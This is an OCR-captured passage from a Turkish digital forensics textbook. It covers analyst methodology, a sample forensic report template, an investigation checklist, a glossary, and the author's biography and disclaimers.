e Siralama: 1. RAM (Bellek): Sistem kapandig1 an gider. 2. Ag Baglantilar1: Baglanti
kesildigi an biter. 3. Gegici Dosyalar (/tmp veya Temp): Sistem temizligiyle silinir.
4. Sabit Disk: En kalic1 olandir, en sona birakilabilir.
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"Locard'm Degisim ilkesi" (Locard's Exchange Principle)

Kriminalistigin babasi Edmond Locard'in bu ilkesi dijital diinya i¢in de gecerlidir: "Her te-
mas bir iz birakir."

e Model: Bir saldirgan sisteme girdiyse, mutlaka bir sey birakmis ve bir sey gotiirmiis-
tur.

e Analiz: Eger bir log silinmisse, o logun silindigine dair bagka bir log (Event ID 1102)
olusur. Eger bir dosya silinmisse, dosya sisteminde (MFT) bir "bosluk" ve "silinme
kayd1" kalir. Analist, "hi¢ iz yok" denilen yerde bile "izsizligin izini" arar.

Hipotez Kurma ve Ciirlitme (Scientific Method)
Analist, bulgulara duygusal yaklagsmaz. Bir senaryo kurar ve onu delillerle test eder.

e Senaryo A: "Kullanici veriyi kasten sizdird1."

e Test: Kullanicinin tarayici gegmisine bakilir. Eger "dosya nasil gizlice gonderilir" ara-
masi varsa hipotez giiclenir.

e Senaryo B: "Kullanicinin bilgisayarina disaridan sizild1."

e Test: RAM analizinde bir RAT (Remote Access Trojan) bulunursa, Senaryo A ¢oker,
Senaryo B dogrulanir.

Analist I¢in Kritik Soru Listesi (Self-Check)
Bir vakaya bakarken zihninde su sorular dénmeli:
1. Neden burada? (Neden bu dosya Temp klasoriinde duruyor?)
2. Bu normal mi? (Bir hesap makinesi neden internete baglanmaya calisiyor?)

3. Bagka nerede iz birakmis olabilir? (Registry'de bir anahtar agtiysa, UserAssist'te bir
kayit olusmus mudur?)
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Profesyonel bir analist, incelemeye su sirayla yaklasir:
Ne oldu?

!

Ne zaman oldu?

i
Nasil oldu?

!
Hangi izler kald1?

l

Alternatif a¢iklamalar var m1?

Bu siralama degisirse analiz bozulur.
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10.3 Hipotez Kurma ve Ciiriitme Disiplini

Yanlis ama yaygin yaklagim:
“Bir sey olmus olmali, kanitin1 bulayim.”
Dogru yaklagim:

“Bir sey olmus olabilir. Olmadigini kanitlamaya ¢alisayim.’

Eger hipotez ¢liriitiilemiyorsa, teknik olarak ayakta durur.

10.4 Artefact Korelasyonu Mantigi

Tek artefact asla yeterli degildir.
Ornek:

e Prefetch var — Program c¢alistt m1?
e Event 4688 var — Kim calistird1?
o USB kayd:1 var — Hangi dosya erisildi?

Gercek deger su zincirde cikar:
Program Calisti
!
Dosyaya Erisildi
!

Harici Medya Takildx

!
Zamanlar Uyumlu

Bu bir davranis modelidir.
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10.5 “Yok” ile “Bulunamadi” Arasindaki Fark

Adli raporda en kritik farklardan biri:

X “Bu artefact yoktur.”
“Bu artefact bulunamamustir.”

Clinkii:
e Log silinmis olabilir
e Sistem restore edilmis olabilir

e Audit policy kapal1 olabilir

Analist kesinlik iddia etmez.

10.6 Sessiz Bulgular (Negative Evidence)

Bazen en giiclii kanit, olmayan seydir.
Ornek:

e Normalde olmasi gereken log yok

e Beklenen Prefetch olusmamis

e Standart kullanic1 davranis1 dis1 bosluk var
Bu su soruyu dogurur:

Neden yok?

Bu soru seni saldirgana gotiiriir.

10.7 Zaman Algisi: Saat Degil Baglam

Analist sadece timestamp bakmaz.
Bakar:

e Mesai saati mi?

o Sistem idle m1ydi1?

o Kullanici profili aktif miydi?

02:30’da yapilan islem ile 10:00°daki islem ayn1 degildir.
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10.8 Analistin En Biiyiik Diismanm: Onyarg:

Sunlar analiz bozar:
e “Bu kullanic1 yapmaz.”
e “Bu zararli ¢ok basit.”

e “Buolay 6nemsiz.”

Adli bilisimde 6nemsiz veri yoktur, sadece yanhs yorumlanan veri vardir.

10.9 Profesyonel Analist Refleksleri

e Tek kaynaga giivenme

o Otomatik ¢iktiy1 dogrula
e Alternatif senaryo tiret

o Bulguyu davranisla bagla
e Yorumu rapordan ayir

10.10 Boliim Sonu

Dijital adli bilisimde ustalik, daha fazla ara¢ bilmekte degil; daha dogru sorular1 sormakta or-
taya cikar.

Dijital adli bilisimin (DFIR) kalbidir. Araglar sadece birer "hesap makinesi" gibidir; ancak
hangi denklemi kuracaginizi bilmek, gercek uzmanligi belirler. Bir analisti "yazilim opera-
torii" olmaktan ¢ikarip "dijital dedektif" yapan sey, verinin i¢cindeki hikayeyi gorebilmesini
saglayan sorgulama metodolojisidir.

Ustalik yolunda sorman gereken "5 Kritik Soru'" ve bu sorularin seni gotiirecegi derinlikler
sunlardir:

Bu Olay Neden Burada Gergeklesti?" (Konsept ve Baglam)

Bir dosyanin varlig1 tek basina su¢ degildir, ancak bulundugu yer her seyi degistirir.
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e Soru: "Neden bir calc.exe dosyasi C:\Windows\System32 yerine C: \Users\Public
klasoriinde duruyor?"

o Analiz: Bu soru seni "Masquerading" (Maskeleme) teknigine gotiiriir. Saldirganlar,
sistem dosyalarinin isimlerini kullanarak diisiik giivenlikli klasorlerde zararli kod ca-
listirirlar.

"Zaman Cizelgesindeki Bosluklar Ne Anlatiyor?" (Temporal Analiz)
Loglar her zaman ne oldugunu sdylemez; bazen neyin olmadigim sdyleyerek konusurlar.

e Soru: "Sistem loglarinda neden saat 02:00 ile 04:00 arasinda hicbir kayit yok, oysa
sistem o sirada a¢ik miydi1?"

e Analiz: Bu soru seni "Log Clearing" (Log Silme) veya "Anti-Forensics" faaliyetine
gotiirtir. O bosluk, saldirganin izlerini siipiirdiigii andir.

"Bu Siirecin Babas1 Kim?" (Hiyerarsik Iliski)
Siire¢ agact (Process Tree), bir saldirinin genetik haritasidir.

e Soru: "Neden bir word. exe siireci gidip powershell.exe baslatt1?"

e Analiz: Normal sartlarda bir kelime islemci neden komut satir1 ¢alistirsin? Bu soru
seni dogrudan bir "Malicious Macro" (Zararli Makro) veya "Initial Access" (ilk Gi-
rig) noktasina ulastirir.

"Bu Temasin Diger Ucu Nerede?" (Korelasyon)
Locard'in degisim ilkesine gore, bir eylem mutlaka birden fazla yerde iz birakir.

e Soru: "Prefetch kaydinda bu uygulamanin ¢aligtigin1 gériiyorum; peki Registry'de
buna uygun bir UserAssist veya Shimcache kaydi var m1?"

e Analiz: Eger bir yerde iz var, digerinde yoksa; bu ya sistemin dogal bir davranisidir
ya da saldirganin manuel olarak sadece belirli izleri sildigi (ancak digerlerini unut-
tugu) bir manipiilasyon kanitidir.

"Bu Veri Ne Kadar Taze?" (Uguculuk ve Manipiilasyon)
Zaman damgalar1 (Timestamps) en kolay manipiile edilen kanitlardir.

e Soru: "Dosyanin olusturulma tarihi (Created), degistirilme tarihinden (Modified) nasil
daha sonra olabilir?"

e Analiz: Bu soru seni "Timestomping'" gercegiyle tanistirir. Dosya sistemi (MFT) se-
viyesindeki bu tutarsizlik, profesyonel bir saldirganin "buradaydim ama izimi kaydir-
dim" deme seklidir.

Ustalik Formiilii: Merak + Siiphe + Metodoloji

o Dijital adli bilisimde aracglar degisir (EnCase yerini Magnet'e, Volatility 2 yerini Vola-
tility 3'e birakir), ancak sorgulama mantig: evrenseldir.
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e "Bir araca 'Bana silinen dosyalar1 bul' derseniz size binlerce dosya verir. Kendi-
nize 'Saldirgan sizdiktan sonra hangi kanitlar1 yok etmek istedi?' diye sorarsaniz,
o binlerce dosya arasindan saldirgan1t mahkum edecek tek dosyayi bulursunuz."

Etki Analizi
EK -A
Ornek Dijital Adli Rapor Sablonu

Gorevlendirme ve Kapsam
Bu inceleme, ... tarihli gérevlendirme yazisina istinaden gergeklestirilmistir.
Inceleme kapsamu:
o llgili cihazin adli imajinin alinmas1
e Siipheli program c¢alistirma iddiasinin incelenmesi
e Veri s1zintis1 olup olmadiginin degerlendirilmesi
Cihaz kimlik bilgileri:
e Marka / Model

e Seri numarasi
e Depolama tiirii

Adli imaj alma yontemi:

e  Write blocker kullanilmistir
e SHA-256 hash degeri hesaplanmistir
e Orijinal ve imaj hash degerleri eslesmistir

Hash degeri:
SHA-256: XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Kullanilan Araglar

e FTK Imager (vX.X)
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e MFTECmd

e PECmd
e Volatility
e Plaso

Arag versiyonlar1 belirtilmelidir.

Analiz Stireci
Analiz asagidaki adimlarla gergeklestirilmistir:

e Prefetch incelemesi

o Event Log analizi

e MFT parse

e USB artefact kontrolii
e Timeline olusturma

Bulgular
o 22:43’te data_export.exe ¢alistirilmigtir.
e Ayni dakikada USB baglantis tespit edilmistir.
o 7zip ile sikistirma iglemi yapilmigtir.
e VPN baglantis1 kurulmustur.

Teknik Degerlendirme

o Artefact korelasyonu, programin ¢alistirildigini ve dosya transferi islemi yapildigini
gostermektedir.

Sonug

e Yapilan analiz sonucunda, ilgili sistemde belirtilen zaman aralifinda siipheli veri is-
leme faaliyetinin gerceklestigi teknik bulgularla desteklenmektedir.

Bu rapor teknik degerlendirme igcermektedir; hukuki nitelendirme yetkili makamlarin takdirin-
dedir.
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Dijital Adli inceleme Kontrol Listesi (Field Checklist)

Bu kontrol listesi, dijital adli inceleme siirecinde kritik adimlarin unutulmamasi i¢in hazirlan-
mistir. Her sorusturma farkli olsa da, asagidaki adimlar ¢ogu inceleme icin temel ¢ergeveyi
olusturur.

1. Olay Yerine ilk Miidahale

[1 Sistem kapali m1 agik m1 kontrol edildi

[ Sistem acik ise volatil veri riski degerlendirildi

[0 RAM edinimi gerekip gerekmedigi degerlendirildi
[0 Ag baglantilar1 gézlemlendi

[1 Sistem saat bilgisi not edildi

[ Sistem fotograflari ¢ekildi

2. Delil Koruma

[1 Depolama cihazlar1 giivenli sekilde ¢ikarildi
[ Write blocker kullanild

[1 Orijinal disk {izerinde iglem yapilmadi

[ Delil etiketi olusturuldu

[1 Chain of Custody kaydi baslatildi

3. Delil Edinimi

[1 Disk imaj1 olusturuldu

[1 Hash degerleri hesapland1 (SHA-256 onerilir)
00 imaj dogrulamas: yapildi

[0 Imaj giivenli depolamaya alind1

4. Triage Analizi

[] Temel artefact toplama yapildi
[1 Event loglar incelendi
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[] Kullanic1 hesaplari kontrol edildi
[1 Stipheli dosyalar belirlendi
[] Ag baglantilar1 degerlendirildi

5. Artefact Analizi

[1 Prefetch dosyalar1 incelendi

L] Registry artefact’lar1 analiz edildi
[1 Browser artefact’lar1 incelendi

[J USB ge¢misi kontrol edildi

[] Sistem zaman ¢izelgesi olusturuldu

6. Bellek Analizi (Varsa)

[ Bellek dokiimii alind1

[] Calisan siiregler incelendi

[1 Ag baglantilar1 analiz edildi
[0 Enjekte edilmis kod arastirildi

7. Ag Analizi

L1 PCAP veya ag loglar incelendi
[] DNS sorgulari analiz edildi

[0 C2 baglantilar1 aragtirildi

[] Siipheli IP adresleri belirlendi

8. Olay Rekonstriiksiyonu

[1 Artefact korelasyonu yapildi

[] Zaman ¢izelgesi olusturuldu

[] Kullanict aktiviteleri analiz edildi
[ Olayin kronolojisi olusturuldu
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9. Raporlama

[] Kullanilan araglar ve stirtimler belirtildi
[1 Analiz metodolojisi agiklandi

[0 Teknik bulgular raporlandi

[] Kanat biitiinligti dogruland:

10. Son Kontrol

L] Bulgular alternatif senaryolarla karsilagtirildi
[1 Teknik yorumlar ve bulgular ayrildi
[ Raporun teknik dogrulugu kontrol edildi
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Adli Analistin 10 Altin Kurah

Dijital adli bilisim teknik bilgi gerektirir; ancak gercek ustalik, metodoloji ve disiplin ile or-
taya c¢ikar. Asagidaki ilkeler, profesyonel bir adli analistin ¢alisma yaklasimini sekillendiren
temel kurallardir.

1. Delile Saygi Duy

Her dijital veri potansiyel bir kanittir. Analiz sirasinda yapilan kiigiik bir hata bile delilin bii-
tiinliiglinli bozabilir. Bu nedenle delil her zaman korunmali ve dogrulanmalidir.

2. Analize Degil, Kanit Toplamaya Odaklan

Bir olay incelenirken ilk amag analiz yapmak degil, kanit1 giivenli sekilde toplamak olmalidir.
Analiz daha sonra yapilabilir; kaybolan kanit geri getirilemez.

3. Tek Bir Artefact’a Giivenme

Dijital incelemede tek bir veri kaynagi yeterli degildir. Farkl artefact’lar arasinda korelasyon
kurulmadan kesin sonuglara ulasiimamalidir.

4. Zaman Cizelgesini Kur

Cogu olayin ¢ozlimil zaman ¢izelgesi olusturmakla baslar. Farkli veri kaynaklarindan elde
edilen zaman bilgileri bir araya getirilerek olayin kronolojisi olusturulmalidir.

5. Varsayim Yapma, Test Et

Bir olay hakkinda varsayimda bulunmak dogaldir; ancak bu varsayimlar mutlaka test edilme-
lidir. Analiz siireci, hipotez kurma ve dogrulama iizerine kuruludur.
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6. Araclara Korii Koriine Giivenme

Adli araglar analiz siirecini kolaylastirir, ancak sonuclari her zaman dogrulanmalidir. Otoma-
tik arag ¢iktilar1 analistin kontroliinden gegcmeden kesin kabul edilmemelidir.

7. Alternatif Senaryolar Uret

Bir olayin tek bir agiklamasi olmayabilir. Analist her zaman alternatif aciklamalar1 degerlen-
dirmelidir.

8. Analiz ve Yorumu Ayir

Teknik bulgular ile analistin yorumu birbirinden ayrilmalidir. Raporlarda bulgular objektif se-
kilde sunulmali, yorumlar ise agikca belirtilmelidir.

9. Her Adim Belgele

Adli inceleme siirecinde yapilan her islem kayit altina alinmalidir. Bu kayitlar hem teknik
dogrulama hem de hukuki siire¢ler i¢cin 6nemlidir.

10. Ogrenmeye Devam Et
Dijital adli bilisim siirekli geligsen bir alandir. Yeni saldir1 teknikleri ve analiz yontemleri or-
taya c¢iktikca analistlerin kendilerini glincellemesi gerekir.

Dijital adli biligimde ustalik, daha fazla ara¢ bilmekte degil; veriyi anlamli bir hikayeye doniigtiirebilme yetene-
ginde ortaya ¢ikar.

Iyi bir analist veri toplar.
Usta bir analist gercegi ortaya gikarir.
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Terimler Sozliigii (Glossary)

Bu béliimde kitap boyunca kullanilan bazi teknik terimler ve kavramlar agiklanmaktadir.

Artefact

Bir sistemde gergeklesen faaliyetler sonucunda olusan ve dijital inceleme sirasinda analiz edi-
len veri kalintilaridir. Ornegin Prefetch dosyalari, Event Log kayitlar1 ve tarayici ge¢misi arte-
fact olarak kabul edilir.

Chain of Custody (Zincirleme Muhafaza)
Bir dijital delilin ilk elde edildigi andan mahkemede sunulmasina kadar gecen siiregte kim ta-
rafindan, ne zaman ve hangi kosullarda islendigini gosteren kayit sistemidir.

Disk Image (Disk Imaji)
Bir depolama cihazinin bit diizeyinde birebir kopyasidir. Adli incelemelerde orijinal diske za-
rar vermemek i¢in analiz disk imaji1 lizerinde yapilir.

Fileless Malware
Disk iizerinde kalict dosya birakmadan, genellikle bellek {izerinden calisan zararl yazilim tii-
ridiir. Bu tiir saldirilar cogunlukla RAM analizi ile tespit edilir.

Hash Degeri
Bir dosyanin veya veri blogunun biitiinliigiinii dogrulamak i¢in kullanilan kriptografik 6zet
degeridir. SHA-256 ve MD5 yaygin kullanilan hash algoritmalaridir.

I0C (Indicator of Compromise)
Bir sistemde saldir1 gergeklestigini gosterebilecek teknik gdstergelerdir. IP adresleri, dosya
hash degerleri veya siipheli domain isimleri IOC 6rnekleri olabilir.

Timeline (Zaman Cizelgesi)
Bir sistemde gerceklesen olaylarin kronolojik sirayla diizenlenmesi sonucu elde edilen analiz
yontemidir. Olay rekonstriiksiyonunda 6nemli rol oynar.
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Triage
Olay miidahalesi sirasinda hizli degerlendirme yaparak kritik delilleri 6ncelikli olarak toplama
ve analiz etme siirecidir.

Volatile Data (Volatil Veri)
Sistem kapatildiginda veya yeniden baslatildiginda kaybolan veridir. RAM igerigi, aktif ag
baglantilar1 ve calisan siirecler volatil veri 6rnekleridir.

Event Log
Isletim sistemleri ve uygulamalar tarafindan kaydedilen olay kayitlaridir. Windows Event Log
dosyalar dijital incelemede 6nemli veri kaynaklaridir.

Prefetch
Windows isletim sisteminde programlarin daha hizli ¢alismasini saglamak amaciyla olusturu-
lan dosyalardir. Bu dosyalar bir uygulamanin ¢alistirilip ¢alistirilmadigini gosterebilir.

Super Timeline
Birden fazla veri kaynagindan elde edilen zaman bilgilerini birlestirerek olusturulan kapsamli
zaman ¢izelgesidir.

Command and Control (C2)
Saldirganlarin ele gegirdikleri sistemlerle iletisim kurmak i¢in kullandiklar1 kontrol altyapisi-
dir.

Sigma Rules
Giivenlik olaylarini standart bir formatta tanimlayan ve farkli log analiz araclarinda kullanila-
bilen kural yapilaridir.

Memory Dump
Bir sistemin RAM igeriginin belirli bir anda alinan goriintiisiidiir. Bellek analizi bu veriler
tizerinde yapilir.

156




Kaynakca:

Carrier, B. (2005). File System Forensic Analysis. Addison-Wesley Professional. (Dosya sistemleri ve
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CMK 134 (Tiirkiye i¢in): Bilgisayarlarda, bilgisayar programlarinda ve kiitiiklerinde arama, kopya-
lama ve el koyma usulleri.

Yazar Notu: Bu kaynaklar, dijital bir sorusturmanin hem teknik derinligini (Carrier & Ligh) hem de
metodolojik dogrulugunu (NIST & ISO) garanti altina alan referanslardir.
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Yazar Hakkinda

Recep Senel (RedzepTech), 30 yil1 askin kamu tecriibesine sahip bir dijital adli bilisim ve
olay miidahalesi uzmanidir. Bilisim teknolojileri ile tanismasi 1990’11 yillarin basina dayan-
makta olup, kariyeri boyunca sistem giivenligi, olay analizi ve dijital delil inceleme siirecleri
lizerine ¢alismistir.

Mesleki pratiginde 6zellikle Windows artefact analizi, olay rekonstriiksiyonu, log korelas-
yonu, bellek incelemesi ve sistem davranis modellemesi gibi alanlara odaklanmistir. Teknik
yaklagiminda ara¢ bagimliligindan ziyade metodoloji, analitik diisiinme ve veri korelas-
yonu temelli bir inceleme anlayisin1 benimsemektedir.

Dijital adli bilisim ¢aligmalarinda yalnizca teknik bulgularin degil, ayn1 zamanda insan dav-
ranisi, organizasyon yapisi ve siire¢ yonetimi gibi disiplinlerin de 6nemli rol oynadigina
inanmaktadir. Bu nedenle ¢aligmalarinda sosyoloji ve yonetim bilisim sistemleri perspektif-
lerinden de faydalanmaktadir.

Acik kaynak kiiltiiriinii desteklemekte, bilgi paylasimini mesleki gelisimin temel unsurlarin-
dan biri olarak gormektedir. Cesitli teknik analizler, arac gelistirme ¢alismalar1 ve egitim
amach igerikler iiretmekte; 6zellikle geng arastirmacilarin ve siber giivenlik alanina ilgi duyan
bireylerin gelisimine katki saglamay1 amaglamaktadir.

Tiirkgenin yan1 sira Ingilizce, Rus¢a ve Makedonca dillerini bilmektedir.

Elinizdeki eser, uzun yillara dayanan saha tecriibesi ve teknik birikimin sistematik bir cerce-
vede paylasilmasi1 amaciyla hazirlanmistir.
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Yazarin Calismalar

Recep Senel, dijital adli bilisim ve siber glivenlik alaninda teknik analizler, aragtirma notlar1
ve acik kaynak arag gelistirme caligmalar ylriitmektedir. Calismalarinin 6nemli bir boliimii
olay miidahalesi, sistem artefact analizi ve veri korelasyonu iizerine odaklanmaktadir.

Ozellikle Windows sistemlerinde olusan dijital izlerin analizi, zaman ¢izelgesi (timeline) olus-
turma teknikleri, olay rekonstriiksiyonu ve log korelasyonu konularinda arastirmalar yapmak-
tadur.

Acik kaynak yaklagimini benimseyen yazar, ¢esitli teknik araglar ve analiz yontemlerini ka-
muya acik sekilde paylasarak dijital adli bilisim topluluguna katki saglamay1 amaglamaktadir.

Baslica ¢alisma alanlar1 sunlardir:

o Dijital Adli Bilisim (Digital Forensics)
e Olay Miidahalesi (Incident Response)
e Windows Artefact Analizi

e Log Korelasyonu ve Timeline Analizi
e Sistem Davranis Analizi

e Acik Kaynak Adli Bilisim Araglar

Yazarin teknik ¢aligmalarina ve projelerine asagidaki adreslerden ulasilabilir:
GitHub: https://github.com/redzeptech

Web sitesi: https://recepsenel.com

159



https://recepsenel.com/

Okuyucuya Not

Bu kitap, dijital adli bilisim alaninda yillar i¢inde edinilmis saha tecriibesinin ve teknik biriki-
min paylasilmasi amaciyla hazirlanmistir. Amaci, okuyucuya hazir ¢éztimler sunmaktan zi-
yade, olaylara analitik bir bakis acistyla yaklasabilme yetisi kazandirmaktir.

Dijital adli bilisim yalnizca ara¢ kullanmaktan ibaret degildir. Asil 6nemli olan; sistemlerin
nasil ¢alistigini anlamak, olusan dijital izleri dogru yorumlamak ve parcalar1 bir araya getire-
rek olayin hikayesini yeniden kurabilmektir.

Bu nedenle kitap boyunca arag isimlerinden ¢ok metodoloji, analiz mantig1 ve korelasyon
yaklasimi 6n planda tutulmustur. Ciinkii kullanilan araglar zamanla degisebilir; ancak dogru
analiz yaklasimi kalicidir.

Eger bu ¢alisma, bir arastirmacinin yeni bir bakis acis1 kazanmasina, bir 6grencinin merak
duygusunu gelistirmesine veya bir uzmanin analiz siireglerinde farkli bir perspektif yakalama-

sina katki saglarsa, amacina ulagmig olacaktir.

Bilgi paylasildik¢a deger kazanir.
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Sorumluluk Reddi ve Kullanim Notu

Bu kitapta yer alan tiim bilgiler, yazarin mesleki deneyimleri, teknik arastirmalar1 ve acik kay-
nak bilgi birikimi dogrultusunda hazirlanmistir. Amag, dijital adli bilisim ve siber giivenlik
alanlarinda metodolojik farkindalik olusturmak ve teknik analiz yaklagimlarini paylagsmaktir.

Kitap igerisinde anlatilan yontemler, analiz teknikleri ve drnek senaryolar yalnizca e@itim,
arastirma ve akademik calisma amaciyla sunulmaktadir. Bu igeriklerin hukuka aykir1 faali-
yetlerde kullanilmasi kesinlikle dnerilmez ve bu tiir kullanimlarin tiim sorumlulugu kullani-
clya aittir.

Yazar, bu kitapta yer alan bilgilerin kétiiye kullanimindan dogabilecek dogrudan veya dolayli
sonuclardan sorumlu tutulamaz.

Dijital adli bilisim ve siber gilivenlik alanlar1 teknik oldugu kadar etik ve hukuki sorumlu-
luklar da icermektedir. Bu nedenle okuyucularin kendi iilkelerindeki yiiriirliikte olan yasa ve

diizenlemelere uygun hareket etmeleri 6nemle tavsiye edilir.

Bu eser, bilgi paylasimini ve mesleki gelisimi desteklemek amaciyla hazirlanmastir.

@ SORUMLULUK REDDI [T_z}
VE KULLANIM NOTU &

@ SORUMLULUK REDDiI

& 1. BILGILENDIRME AMAGLIDIR & 1. FiKRi MULKIYET
Bu platformdaki icerikler yalnizca genel Tum icerikler ve tasanmlar telif hakki ile
bilgilendirme amachdir, tavsiye degildir. korunmaktadir.

@ 2. DOGRULUK VE GUNCELLIK @ 2. iZiNSiZ KULLANIM
Bilgilerin dogrulugu ve glncelligi garanti Iceriklerin kopyalanmasi, cogaltilmasi
edilmez. veya ticari kullanimi yasaktir.

& 3.0CUNCU TARAF BAGLANTILARI & 3.YAZILl iZiN
Yonlendirilen harici sitelerin iceriklerinden Materyallerin kullanimi igin énceden yazili
sorumlu degiliz. izin alinmalidir.

& 4. YOKUMLULUK SINIRI & 4. SORUMLU KULLANIM
Olusabilecek zararlardan platform sorumlu Platformun kurallarina ve yasalara uygun
tutulamaz. hareket edilmelidir.
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Dijital diinyada islenen suglar giderek karmagik hale gelirken, bu suglarin izlerini dogru se-
kilde analiz edebilmek kritik bir uzmanlik alani haline gelmistir. Modern Dijital Adli Bilisim
Yaklasimlari, dijital adli bilisim (Digital Forensics) alanina sistematik bir bakis sunan kap-
saml bir caligmadir. Bu kitapta disk analizi, bellek analizi, ag trafigi incelemesi ve olay giin-
liigii analizi gibi temel DFIR disiplinleri; Autopsy, Volatility, Wireshark, KAPE, Hayabusa,
Chainsaw ve Velociraptor gibi modern araclarla birlikte ele alinmaktadir. Teorik bilgilerin ya-
ninda gercek vaka senaryolari ve pratik analiz yaklagimlariyla desteklenen bu ¢alisma, hem
yeni baslayanlar hem de alaninda ¢alisan uzmanlar i¢in gii¢lii bir referans kaynagi sunmay1
amagclamaktadir.

Digital Forensics Series’in ilk kitabi olan bu ¢alisma, dijital delil analizine metodolojik bir
perspektif kazandirmay1 hedeflemektedir.
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